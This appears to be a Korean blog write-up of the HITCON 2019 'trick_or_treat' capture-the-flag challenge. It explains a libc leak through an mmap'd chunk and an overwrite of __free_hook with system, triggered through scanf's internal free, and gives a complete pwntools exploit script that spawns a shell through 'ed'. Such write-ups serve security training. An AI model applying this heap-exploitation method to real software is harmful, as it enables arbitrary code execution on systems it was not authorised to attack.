hitcon 2019 trick_or_treat
굉장히 간단한 프로그램이다.
맨 처음에 입력받은 Size
로 malloc
을 해주고, 2번의 arbitrary write
를 제공해준다.
여기서, chunk
의 주소를 출력해주니 mmap
으로 chunk
를 할당받아서 libc
를 leak
할 수 있다.
그 후, __free_hook
을 system
으로 덮고, system("ed")
를 실행시켜주면 된다.
scanf
에 큰 입력을 주면 malloc
후 입력을 chunk
에 담고 free
시키는데, 예를 들어 "A"
를 0x500
개, ed
를 넣으면 chunk
는 다음과 같은 형태를 갖는다.
free
코드는 vfscanf
의 errout LABEL
이다.
errout:
/* Unlock stream. */
UNLOCK_STREAM (s);
scratch_buffer_free (&charbuf.scratch);
if (__glibc_unlikely (done == EOF))
{
if (__glibc_unlikely (ptrs_to_free != NULL))
{
struct ptrs_to_free *p = ptrs_to_free;
while (p != NULL)
{
for (size_t cnt = 0; cnt < p->count; ++cnt)
{
free (*p->ptrs[cnt]);
*p->ptrs[cnt] = NULL;
}
p = p->next;
ptrs_to_free = p;
}
}
}
else if (__glibc_unlikely (strptr != NULL))
{
free (*strptr);
*strptr = NULL;
}
return done;
}
vfscanf-internal.c #3028 ~ #3058
from pwn import *
#context.log_level= 'debug'
e = ELF('trick_or_treat')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
size = 0x100000
sla(':', str(size))
ru(':')
leak = int(s.recv(14),16)
log.info('leak: {}'.format(hex(leak)))
l_base = leak - 0x4ff010 + 0x5000
log.info('l_base: {}'.format(hex(l_base)))
one_list = [0x4f2c5, 0x4f322, 0x10a38c]
one = l_base + one_list[0]
f_hook = l_base + l.symbols['__free_hook']
system = l_base + l.symbols['system']
target = f_hook
offset = (leak - target)//8
offset = -offset & (2**64-1)
value = system
log.info('offset: {}, value: {}'.format(offset, value))
sl(hex(offset))
sl(hex(value))
dump = '''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
sl("A"*0x500)
sl("ed")
sl("!/bin/sh")
io()
'system > writeup' 카테고리의 다른 글
2019 hack.lu chat (0) | 2019.11.12 |
---|---|
2019 hitcon lazyhouse (0) | 2019.11.06 |
2019 codegate maris_shop (0) | 2019.11.03 |
2019 hack.lu no_risc_no_future (0) | 2019.11.03 |
2019 hack.lu tcalc (0) | 2019.11.01 |